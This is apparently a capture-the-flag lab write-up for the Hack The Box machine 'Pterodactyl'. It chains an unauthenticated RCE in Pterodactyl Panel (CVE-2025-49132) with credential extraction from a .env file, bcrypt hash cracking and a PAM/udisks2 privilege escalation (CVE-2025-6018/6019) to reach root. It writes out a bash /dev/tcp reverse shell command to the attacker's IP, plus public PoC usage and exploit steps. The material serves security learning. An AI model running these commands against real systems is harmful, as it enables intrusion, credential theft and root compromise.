Overview
Pterodactyl is a medium Linux box and genuinely one of the harder chains at this difficulty level. A changelog file leaks the panel version, which leads to an unauthenticated RCE CVE for the initial foothold. Getting from the web shell to SSH access requires understanding a subtle MySQL TCP versus Unix socket authentication quirk. The privilege escalation is a two-CVE chain involving PAM environment injection to spoof an active console session, followed by a udisks2 XFS filesystem race condition to execute a SUID binary as root. There’s also a tooling challenge thrown in for good measure.
Reconnaissance
nmap -sS -sV -O -p- -Pn 10.129.25.226
22/tcp open ssh OpenSSH 9.6
80/tcp open http nginx 1.21.5
443/tcp closed
8080/tcp closed
The web service redirects to pterodactyl.htb. Add it to /etc/hosts:
sudo nano /etc/hosts
# Add: 10.129.25.226 pterodactyl.htb
The main site references a Minecraft server at play.pterodactyl.htb but navigating there just redirects back to the main domain. Virtual host scanning with ffuf returns nothing, but gobuster finds a panel subdomain:
gobuster vhost -u http://pterodactyl.htb \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain -t 50
Add panel.pterodactyl.htb to /etc/hosts and navigate there. It’s the Pterodactyl Panel login page, an open-source game server management platform.
Version Discovery
The panel login page reveals nothing useful from its source or common paths. Brute forcing the main domain turns up something much more valuable:
feroxbuster -u http://pterodactyl.htb \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-t 50
200 GET http://pterodactyl.htb/changelog.txt
curl http://pterodactyl.htb/changelog.txt
The changelog contains exactly what we need:
- Pterodactyl Panel v1.11.10
- MariaDB 11.8.3 backend
- phpinfo() debugging enabled
Initial Foothold — CVE-2025-49132
Pterodactyl Panel v1.11.10 is vulnerable to CVE-2025-49132, an unauthenticated RCE flaw. The default exploit assumes pearcmd is in the standard path, which it isn’t here, but specifying the alternative PEAR directory works:
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132
# Verify RCE
python3 exploit.py http://panel.pterodactyl.htb --rce-cmd "id" \
--pear-dir /usr/share/php/PEAR
# Output: uid=474(wwwrun) gid=477(www) groups=477(www)
Set up a listener and fire the reverse shell:
nc -lvnp 4444
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.45/4444 0>&1'" \
--pear-dir /usr/share/php/PEAR
Shell lands as wwwrun. Stabilise it:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter
export TERM=xterm
Database Credential Extraction
The Pterodactyl .env file contains database credentials:
cat /var/www/pterodactyl/.env
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
This is where things get interesting. Connecting via the standard MySQL CLI without a password actually works, but using the password from .env returns access denied:
mysql -u pterodactyl # connects successfully
mysql -u pterodactyl -pPteraPanel # access denied
The reason: MariaDB has two distinct authentication paths. The CLI defaults to Unix socket authentication, which grants access based on your OS username matching a DB user with no password. But the .env file specifies DB_HOST=127.0.0.1, meaning the web application connects via TCP. TCP auth uses passwords, and the socket auth ignores them entirely.
The credentials are valid, they just need to be used via TCP the same way the application itself connects. PHP’s PDO handles TCP connections directly:
php -r "
\$pdo = new PDO('mysql:host=127.0.0.1;dbname=panel', 'pterodactyl', 'PteraPanel');
\$stmt = \$pdo->query('SELECT email, username, password FROM users');
while(\$row = \$stmt->fetch()) { print_r(\$row); }
"
Two users come back, both matching real system accounts from /etc/passwd:
headmonitor / $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
phileasfogg3 / $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi
Hash Cracking
Both are bcrypt hashes, hashcat mode 3200:
echo '$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2' > hashes.txt
echo '$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi' >> hashes.txt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Only phileasfogg3’s hash cracks: !QAZ2wsx
ssh phileasfogg3@pterodactyl.htb
# Password: !QAZ2wsx
User flag is at /home/phileasfogg3/user.txt.
Privilege Escalation — CVE-2025-6018 + CVE-2025-6019
Finding the Path
sudo -l immediately shows phileasfogg3 has full sudo access — the password is known so this is a last resort option, but reading the environment reveals a mailbox:
cat /var/spool/mail/phileasfogg3
There’s a message from the system administrator referencing unusual udisksd activity. In CTF environments, admin emails that reference specific daemons are almost always deliberate hints from the box author. This pointed directly to the privilege escalation chain.
The Chain
Two CVEs are required together. Neither works alone:
CVE-2025-6018 — PAM Environment Injection
A misconfiguration in the pam_env module (user_readenv=1, enabled by default on openSUSE) allows injecting environment variables via ~/.pam_environment on login. By setting XDG_SEAT=seat0 and XDG_VTNR=1, we trick systemd-logind into treating our SSH session as a physical console session, granting allow_active Polkit privileges. This is the prerequisite for the next step.
CVE-2025-6019 — udisks2 XFS Resize Race Condition
When udisks2 performs an XFS filesystem operation via D-Bus, it calls libblockdev which temporarily mounts the filesystem under /tmp/blockdev* without the nosuid flag. If the filesystem image contains a SUID root binary, it can be executed during this mount window. CVE-2025-6018 is what grants us the allow_active Polkit status required to even trigger this operation.
The Tooling Problem
Building the exploit requires mkfs.xfs from the xfsprogs package to create a malicious XFS filesystem image. This was unavailable on both the target (openSUSE with no sudo for package installs) and the HTB pwnbox (Parrot OS, package not in repos).
The solution: install Ubuntu via WSL (Windows Subsystem for Linux) on a local Windows machine. Ubuntu has xfsprogs available via apt, and WSL can connect to the HTB VPN to transfer files.
Building the Exploit (on Local Ubuntu WSL)
sudo apt update && sudo apt install xfsprogs gcc -y
git clone https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC
cd CVE-2025-6018-6019-PoC
sudo bash build_poc.sh
# Produces: exploit.img, exploit.sh, catcher, rootbash
The build script compiles a static SUID root shell (rootbash), creates a 400MB XFS image containing it with the SUID bit set, and compiles a C race condition catcher that monitors /proc/mounts in real-time. Static compilation is important here — it avoids glibc ABI mismatches between the Ubuntu build environment and the openSUSE target.
Transfer to Target
scp exploit.img phileasfogg3@pterodactyl.htb:/tmp/
scp exploit.sh phileasfogg3@pterodactyl.htb:/tmp/
scp catcher phileasfogg3@pterodactyl.htb:/tmp/
Stage 1 — CVE-2025-6018: Inject PAM Environment
ssh phileasfogg3@pterodactyl.htb
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF
exit
Stage 2 — Re-login to Activate PAM
ssh phileasfogg3@pterodactyl.htb
Verify the session is now flagged as allow_active:
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# Must return ('yes',)
Stage 3 — CVE-2025-6019: Race Condition to Root
cd /tmp
chmod +x exploit.sh catcher
export PATH=$PATH:/sbin:/usr/sbin
bash exploit.sh
The exploit sets up a loop device from exploit.img, starts catcher in the background to monitor for the temporary mount, then triggers Filesystem.Check via D-Bus. When libblockdev mounts the image without nosuid, catcher catches the mount and immediately executes the SUID binary.
[+] Session is Active. Polkit bypass enabled.
[*] Starting Background Trigger...
[*] Starting Foreground Catcher...
[*] HOLD TIGHT. ROOT SHELL INCOMING.
# id
uid=0(root) gid=0(root) groups=0(root)
Root flag is at /root/root.txt.
Attack Chain Summary
| Step | Detail |
|---|---|
| Recon | nmap, directory brute force → changelog.txt leaks Pterodactyl Panel v1.11.10 |
| Vhost | gobuster → panel.pterodactyl.htb |
| Foothold | CVE-2025-49132 RCE with custom --pear-dir flag → shell as wwwrun |
| Creds | .env → MySQL TCP auth via PHP PDO → bcrypt hashes for two users |
| Hash crack | hashcat mode 3200 → phileasfogg3:!QAZ2wsx |
| SSH | ssh phileasfogg3@pterodactyl.htb → user flag |
| Hint | Mail from admin references udisksd |
| CVE-2025-6018 | PAM ~/.pam_environment injection → allow_active Polkit session |
| CVE-2025-6019 | udisks2 XFS race condition → SUID binary execution → root shell |
| Root flag | /root/root.txt |
Key Lessons
TCP vs Unix Socket auth in MySQL. The .env credentials failed via the MySQL CLI because it defaults to Unix socket authentication. The password only works over TCP, exactly how the web application itself connects. When app credentials don’t work in the CLI, mimic the connection method the app actually uses.
Tooling gaps require creative solutions. The HTB pwnbox lacked xfsprogs, which is needed to create XFS filesystem images. A local Ubuntu WSL instance bridged the gap. When your attack environment is missing tools, a secondary Linux environment (WSL, VM, or cloud shell) is always an option.
CTF mail hints are almost never accidental. The admin email specifically mentioning udisksd was a direct pointer to the CVE chain. Box authors don’t include flavour text about specific daemons without reason.
Static compilation for cross-distro exploits. Compiling with gcc -static avoids glibc ABI mismatches when targeting a system with a different distribution or libc version.